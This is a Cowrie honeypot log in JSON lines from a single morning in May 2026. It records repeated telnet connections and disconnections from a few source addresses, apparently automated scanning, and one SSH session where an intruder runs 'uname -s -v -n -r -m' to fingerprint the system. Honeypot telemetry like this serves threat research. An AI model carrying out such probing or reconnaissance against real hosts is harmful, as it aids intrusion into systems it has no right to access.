{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58506,"dst_ip":"10.17.0.5","dst_port":23,"session":"be28f1dec71d","protocol":"telnet","message":"New connection: 45.10.154.244:58506 (10.17.0.5:23) [session: be28f1dec71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:51.773475Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41502,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cd845721510","protocol":"telnet","message":"New connection: 51.161.172.108:41502 (159.203.135.109:23) [session: 8cd845721510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:51.841999Z"}
{"eventid":"cowrie.session.closed","duration":30.626163721084595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:52.108445Z","src_ip":"45.10.154.244","session":"ec83f997f2b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60240,"dst_ip":"10.17.0.5","dst_port":23,"session":"427baaf49316","protocol":"telnet","message":"New connection: 45.10.154.244:60240 (10.17.0.5:23) [session: 427baaf49316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:52.214346Z"}
{"eventid":"cowrie.session.closed","duration":31.144155502319336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:52.276220Z","src_ip":"45.10.154.244","session":"7dd975212546","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41516,"dst_ip":"159.203.135.109","dst_port":23,"session":"be7974f2fc30","protocol":"telnet","message":"New connection: 51.161.172.108:41516 (159.203.135.109:23) [session: be7974f2fc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:52.603587Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":34790,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e400418c7f9","protocol":"telnet","message":"New connection: 45.10.154.244:34790 (10.17.0.5:23) [session: 5e400418c7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:52.944325Z"}
{"eventid":"cowrie.session.closed","duration":30.590388298034668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:53.091083Z","src_ip":"45.10.154.244","session":"0d0c9d97301d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":35590,"dst_ip":"10.17.0.5","dst_port":23,"session":"782c148c5df6","protocol":"telnet","message":"New connection: 45.10.154.244:35590 (10.17.0.5:23) [session: 782c148c5df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:53.176000Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36370,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca0a6bd7da77","protocol":"telnet","message":"New connection: 185.26.126.47:36370 (159.203.135.109:23) [session: ca0a6bd7da77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:53.340866Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36350,"dst_ip":"10.17.0.5","dst_port":23,"session":"faa95a563973","protocol":"telnet","message":"New connection: 45.10.154.244:36350 (10.17.0.5:23) [session: faa95a563973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:53.409141Z"}
{"eventid":"cowrie.session.closed","duration":31.32558822631836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:53.535805Z","src_ip":"45.10.154.244","session":"7f8d0f6933b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36850,"dst_ip":"10.17.0.5","dst_port":23,"session":"826cb87dae65","protocol":"telnet","message":"New connection: 45.10.154.244:36850 (10.17.0.5:23) [session: 826cb87dae65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:53.550722Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41520,"dst_ip":"159.203.135.109","dst_port":23,"session":"d11f3c8c9c26","protocol":"telnet","message":"New connection: 51.161.172.108:41520 (159.203.135.109:23) [session: d11f3c8c9c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:53.745696Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41522,"dst_ip":"159.203.135.109","dst_port":23,"session":"59ff83f15b18","protocol":"telnet","message":"New connection: 51.161.172.108:41522 (159.203.135.109:23) [session: 59ff83f15b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:53.796530Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41524,"dst_ip":"159.203.135.109","dst_port":23,"session":"18aa617ebfbe","protocol":"telnet","message":"New connection: 51.161.172.108:41524 (159.203.135.109:23) [session: 18aa617ebfbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:54.137955Z"}
{"eventid":"cowrie.session.closed","duration":30.323157787322998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:54.231099Z","src_ip":"45.10.154.244","session":"c86b8aebdc28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":39592,"dst_ip":"10.17.0.5","dst_port":23,"session":"0781bf958067","protocol":"telnet","message":"New connection: 45.10.154.244:39592 (10.17.0.5:23) [session: 0781bf958067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:54.422283Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41532,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eaedf016f7d","protocol":"telnet","message":"New connection: 51.161.172.108:41532 (159.203.135.109:23) [session: 4eaedf016f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:54.686665Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41544,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ab08a94e4ce","protocol":"telnet","message":"New connection: 51.161.172.108:41544 (159.203.135.109:23) [session: 9ab08a94e4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:54.719961Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":41306,"dst_ip":"10.17.0.5","dst_port":23,"session":"69762bd0a930","protocol":"telnet","message":"New connection: 45.10.154.244:41306 (10.17.0.5:23) [session: 69762bd0a930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:54.884988Z"}
{"eventid":"cowrie.session.closed","duration":31.311699390411377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:54.932829Z","src_ip":"51.161.172.108","session":"2bc99492ee14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3446147441864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:55.292534Z","src_ip":"45.10.154.244","session":"e3a85d739cb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43320,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e879fbb0cb2","protocol":"telnet","message":"New connection: 45.10.154.244:43320 (10.17.0.5:23) [session: 6e879fbb0cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:55.521060Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41554,"dst_ip":"159.203.135.109","dst_port":23,"session":"75c569b451bc","protocol":"telnet","message":"New connection: 51.161.172.108:41554 (159.203.135.109:23) [session: 75c569b451bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:55.850384Z"}
{"eventid":"cowrie.session.closed","duration":31.171638011932373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:56.044782Z","src_ip":"45.10.154.244","session":"15f6b561ecb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79661536216736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:56.099841Z","src_ip":"45.10.154.244","session":"b6f0bf14ec03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42168,"dst_ip":"10.17.0.5","dst_port":23,"session":"afb37f53a4a5","protocol":"telnet","message":"New connection: 45.10.154.244:42168 (10.17.0.5:23) [session: afb37f53a4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:56.138700Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46266,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5c0be7b3957","protocol":"telnet","message":"New connection: 45.10.154.244:46266 (10.17.0.5:23) [session: f5c0be7b3957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:56.378217Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41566,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c23c8d0ade0","protocol":"telnet","message":"New connection: 51.161.172.108:41566 (159.203.135.109:23) [session: 3c23c8d0ade0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:56.630892Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47116,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a0017eca35d","protocol":"telnet","message":"New connection: 45.10.154.244:47116 (10.17.0.5:23) [session: 7a0017eca35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:56.648869Z"}
{"eventid":"cowrie.session.closed","duration":31.74121880531311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:56.798014Z","src_ip":"51.161.172.108","session":"c53919912582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983214855194092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:57.189443Z","src_ip":"45.10.154.244","session":"9fd82a31d10f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24324679374695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:57.725757Z","src_ip":"45.10.154.244","session":"7d050f3eeda2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51234,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c62b3e392aa","protocol":"telnet","message":"New connection: 45.10.154.244:51234 (10.17.0.5:23) [session: 7c62b3e392aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:57.869958Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41572,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8173baff3d2","protocol":"telnet","message":"New connection: 51.161.172.108:41572 (159.203.135.109:23) [session: a8173baff3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:58.002523Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41578,"dst_ip":"159.203.135.109","dst_port":23,"session":"09dac6abf181","protocol":"telnet","message":"New connection: 51.161.172.108:41578 (159.203.135.109:23) [session: 09dac6abf181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:58.025785Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:58.085082Z","src_ip":"122.168.114.167","session":"b50a1fec1515","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:58.088333Z","src_ip":"122.168.114.167","session":"b50a1fec1515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.943448543548584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:58.272745Z","src_ip":"51.161.172.108","session":"d23b6747be43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41590,"dst_ip":"159.203.135.109","dst_port":23,"session":"43658396fbad","protocol":"telnet","message":"New connection: 51.161.172.108:41590 (159.203.135.109:23) [session: 43658396fbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:58.416560Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53736,"dst_ip":"10.17.0.5","dst_port":23,"session":"db45f915bc3a","protocol":"telnet","message":"New connection: 45.10.154.244:53736 (10.17.0.5:23) [session: db45f915bc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:58.609827Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":41606,"dst_ip":"159.203.135.109","dst_port":23,"session":"9860b611198d","protocol":"telnet","message":"New connection: 51.161.172.108:41606 (159.203.135.109:23) [session: 9860b611198d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:58.810770Z"}
{"eventid":"cowrie.session.closed","duration":31.25364351272583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:59.037392Z","src_ip":"45.10.154.244","session":"ea0bbed7e096","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.461426973342896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:59.250485Z","src_ip":"45.10.154.244","session":"a1b8100ce398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58568,"dst_ip":"159.203.135.109","dst_port":23,"session":"b09deb8836e1","protocol":"telnet","message":"New connection: 51.161.172.108:58568 (159.203.135.109:23) [session: b09deb8836e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:59.725614Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58250,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c92d5e81ef","protocol":"telnet","message":"New connection: 45.10.154.244:58250 (10.17.0.5:23) [session: 87c92d5e81ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:59.865099Z"}
{"eventid":"cowrie.session.closed","duration":30.88478374481201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:00.092032Z","src_ip":"45.10.154.244","session":"8ea021ed2321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4759202003479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:00.104674Z","src_ip":"45.10.154.244","session":"f189e53aef4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682465076446533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:00.270066Z","src_ip":"51.161.172.108","session":"d6bb3b147f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58580,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac30d111a872","protocol":"telnet","message":"New connection: 51.161.172.108:58580 (159.203.135.109:23) [session: ac30d111a872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:00.414571Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58552,"dst_ip":"159.203.135.109","dst_port":23,"session":"241676ba53c0","protocol":"telnet","message":"New connection: 51.161.172.108:58552 (159.203.135.109:23) [session: 241676ba53c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:00.433693Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58588,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc6d3b055ea0","protocol":"telnet","message":"New connection: 51.161.172.108:58588 (159.203.135.109:23) [session: fc6d3b055ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:00.828505Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58590,"dst_ip":"159.203.135.109","dst_port":23,"session":"31f3485dfdae","protocol":"telnet","message":"New connection: 51.161.172.108:58590 (159.203.135.109:23) [session: 31f3485dfdae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:00.868919Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58600,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d98936dca0","protocol":"telnet","message":"New connection: 51.161.172.108:58600 (159.203.135.109:23) [session: 52d98936dca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:00.913826Z"}
{"eventid":"cowrie.session.closed","duration":35.12350845336914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:00.941217Z","src_ip":"167.99.38.72","session":"2e1a2afbd116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58576,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7a92a85e828","protocol":"telnet","message":"New connection: 51.161.172.108:58576 (159.203.135.109:23) [session: a7a92a85e828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:01.037733Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":34734,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bef4ddf19f5","protocol":"telnet","message":"New connection: 45.10.154.244:34734 (10.17.0.5:23) [session: 7bef4ddf19f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:01.171139Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":35034,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ad7d24b6563","protocol":"telnet","message":"New connection: 45.10.154.244:35034 (10.17.0.5:23) [session: 5ad7d24b6563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:01.246636Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58584,"dst_ip":"159.203.135.109","dst_port":23,"session":"017b87e78c7f","protocol":"telnet","message":"New connection: 51.161.172.108:58584 (159.203.135.109:23) [session: 017b87e78c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:01.681969Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":45068,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96605116364","protocol":"telnet","message":"New connection: 167.99.38.72:45068 (159.203.135.109:23) [session: d96605116364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:02.077167Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58626,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f9f17f8dfde","protocol":"telnet","message":"New connection: 51.161.172.108:58626 (159.203.135.109:23) [session: 3f9f17f8dfde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:02.148947Z"}
{"eventid":"cowrie.session.closed","duration":30.366557121276855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:02.189163Z","src_ip":"51.161.172.108","session":"8bbbc7caf141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58628,"dst_ip":"159.203.135.109","dst_port":23,"session":"77356e57a31e","protocol":"telnet","message":"New connection: 51.161.172.108:58628 (159.203.135.109:23) [session: 77356e57a31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:02.246513Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58610,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e179182219","protocol":"telnet","message":"New connection: 51.161.172.108:58610 (159.203.135.109:23) [session: e0e179182219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:02.389587Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58632,"dst_ip":"159.203.135.109","dst_port":23,"session":"08dc54fae0e2","protocol":"telnet","message":"New connection: 51.161.172.108:58632 (159.203.135.109:23) [session: 08dc54fae0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:02.432793Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58642,"dst_ip":"159.203.135.109","dst_port":23,"session":"f15143adc9f8","protocol":"telnet","message":"New connection: 51.161.172.108:58642 (159.203.135.109:23) [session: f15143adc9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:02.968187Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58638,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f8ad91379a7","protocol":"telnet","message":"New connection: 51.161.172.108:58638 (159.203.135.109:23) [session: 7f8ad91379a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:03.005721Z"}
{"eventid":"cowrie.session.closed","duration":30.75292730331421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:03.065234Z","src_ip":"45.10.154.244","session":"feeb1890996b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58656,"dst_ip":"159.203.135.109","dst_port":23,"session":"b922c902e81f","protocol":"telnet","message":"New connection: 51.161.172.108:58656 (159.203.135.109:23) [session: b922c902e81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:03.438129Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43732,"dst_ip":"10.17.0.5","dst_port":23,"session":"053d650bac7c","protocol":"telnet","message":"New connection: 45.10.154.244:43732 (10.17.0.5:23) [session: 053d650bac7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:03.466591Z"}
{"eventid":"cowrie.session.closed","duration":31.00677514076233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:03.529624Z","src_ip":"34.69.118.1","session":"1cc9ac54c07a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58634,"dst_ip":"159.203.135.109","dst_port":23,"session":"da618f29aa7e","protocol":"telnet","message":"New connection: 51.161.172.108:58634 (159.203.135.109:23) [session: da618f29aa7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:03.605143Z"}
{"eventid":"cowrie.session.closed","duration":31.33420467376709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:03.671558Z","src_ip":"51.161.172.108","session":"25b95d3d8c23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58666,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ffb782bdbcd","protocol":"telnet","message":"New connection: 51.161.172.108:58666 (159.203.135.109:23) [session: 3ffb782bdbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:03.733724Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58676,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bc6cf3f0422","protocol":"telnet","message":"New connection: 51.161.172.108:58676 (159.203.135.109:23) [session: 1bc6cf3f0422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:04.016610Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":45814,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd9c4dd68cd0","protocol":"telnet","message":"New connection: 167.99.38.72:45814 (159.203.135.109:23) [session: dd9c4dd68cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:04.404845Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":58678,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a8d51fe3862","protocol":"telnet","message":"New connection: 51.161.172.108:58678 (159.203.135.109:23) [session: 1a8d51fe3862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:04.445692Z"}
